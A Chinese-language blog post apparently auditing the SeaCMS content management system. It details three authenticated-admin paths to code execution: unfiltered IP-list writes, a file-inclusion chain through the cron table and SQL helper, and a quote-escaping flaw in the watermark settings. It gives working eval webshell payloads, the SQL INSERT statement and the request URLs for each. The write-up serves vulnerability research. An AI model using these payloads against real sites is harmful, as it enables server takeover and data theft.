前言
找了一个时间审计了Seacms这个框架,算是忙里偷闲,有些地方并没有很仔细的去找,不过好多简单的利用都是撞洞。呜呜呜!这里做一下总结。
这里我从文件写入和文件包含两个点切入的。文件写入的函数主要是fwrite
,文件包含的主要就是include
,框架中没有使用到require
函数,而require_once
函数基本又都是写死的。
seacms源码下载地址:https://cdn.jsdelivr.net/gh/seacms-net/CMS@master/SeaCMS.zip
基本利用
打开vscode
,直接使用搜索功能对于整个cms进行查找,使用了fwrite
函数的地方还是很多的,菜鸡的审计方式很简单,就是一个个看过去咯。
在翻找的时候忽然发现了下面一段代码
在admin/admin_ip.php
中竟然无过滤的使用了POST进行传参,该框架在include/filter.inc.php
文件中是有对应的函数对传入的参数进行过滤的,而这里并没有,并且这里写入的文件是一个php
结尾的文件,这其实利用就很简单了。仅仅需要闭合语句,然后跳出来写一个eval
函数即可。
并且在该文件下面的47行,还发现了使用了require_once
函数包含data/admin/ip.php
该文件。接着演示一下漏洞的利用。
登录到Seacms的后台,接着访问http://ip/5o2pql/admin_ip.php
,写入127.0.0.1";eval($_GET[1]);#
,保存配置。
此时我们就将eval
插入data/admin/ip.php
中,使用GET请求传入1
,Getshell成功!
这样的漏洞在Seacms中还是有很多的,有兴趣的师傅也可以多去找找
进阶利用
常有大师傅跟我说:“现在想直接利用很难啦,要打打组合拳。”,顺着这个思路我在Seacms中继续探索着。
在框架中,有很多是写入的是以txt
结尾的文件,这种直接读是无法以php
来解析,但是如果找到一处文件包含的漏洞,让他包含的是这种我们可以修改的文件,那就也可以造成代码执行了。
于是,我再次打开搜索功能,继续搜索可以利用的文件包含的点。还真找到了一处,它的结尾是可控的,如下图
其中$filename
变量是来自于sea_crons
表中的filename
字段,由于这里对于$filename
变量的过滤基本算是没有的,所以控制表中的对应字段,那么我们就可以包含任意文件了。
Seacms的后台是有一个SQL高级助手的功能,可以执行任意SQL语句,如下
由此可见,事情变得简单了。利用如下:
访问http://ip/5o2pql/admin_s.php
,写入style="width:50px;text-transform:uppercase;"<?=eval($_GET[1]);
,保存配置。
这里使用短标签的原因是<?php
的格式会被匹配,然后删掉,具体原理还没还没找到,不过使用<?=
绕过即可。
接着使用SQL高级助手,在sea_crons
表中添加一条对应的数据。SQL语句:INSERT INTO sea_crons (cronid,available,type,name,filename,lastrun,nextrun,weekday,day,hour,minute) VALUES (3,3,'a','name','../../data/admin/s.txt',1,1,2,2,3,3)
最后来到http://ip/5o2pql/admin_cron.php
下,运行对应的任务,这里会进行302的重定向,于是咋们抓个包
成功Getshell!
防护过当
最后讲一种,作者因为防护过度,而导致的字符串的内容变为代码可以执行。漏洞是在admin/admin_config_mark.php
文件下。
当时是在测试单引号,如下
但是在提交之后就变成了,如下
对应功能点的内容直接没掉了???于是我去查看了一下修改文件的源代码,发现原来添加的单引号没掉了,转而变成了一个反斜杠。
使用了Xdebug
的方式,重新跟了一遍传参的过程,才发现了其中的神奇。过程如下
将参数传入之后,框架会对每个参数使用addslashes
函数进行转义,原本我们传入的6'
变为了6\'
,接着来到admin/admin_config_mark.php
文件
这里在赋值之前使用了str_replace
函数将全部的单引号删掉了,所以6\'
就变成了6\
,在进行字符串拼接之后,就会把后面的单引号转义了
这是文件原本格式
<?php
$photo_markup = '0';
$photo_markdown = '0';
$photo_marktype = '1';
$photo_wwidth = '100';
$photo_wheight = '100';
$photo_waterpos = '1';
$photo_watertext = 'www.seacms.net';
$photo_fontsize = '6';
$photo_fontcolor = '#FF0000';
$photo_marktrans = '100';
$photo_diaphaneity = '100';
$photo_markimg = 'mark.gif';
?>
如果将它修改为下面的格式,就可以Getshell了
<?php
$photo_markup = '0';
$photo_markdown = '0';
$photo_marktype = '1';
$photo_wwidth = '100';
$photo_wheight = '100';
$photo_waterpos = '1';
$photo_watertext = 'www.seacms.net\';
$photo_fontsize = ';eval($_GET[1]);#';
$photo_fontcolor = '#FF0000';
$photo_marktrans = '100';
$photo_diaphaneity = '100';
$photo_markimg = 'mark.gif';
?>
漏洞演示
选择系统的图片水印设置,将水印图片文字中改为www.seacms.net'
,在接下来的位置改为;eval($_GET[9]);#
,接着确认提交
则在http://IP/5o2pql/admin_config_mark.php?9=phpinfo();
,成功Getshell。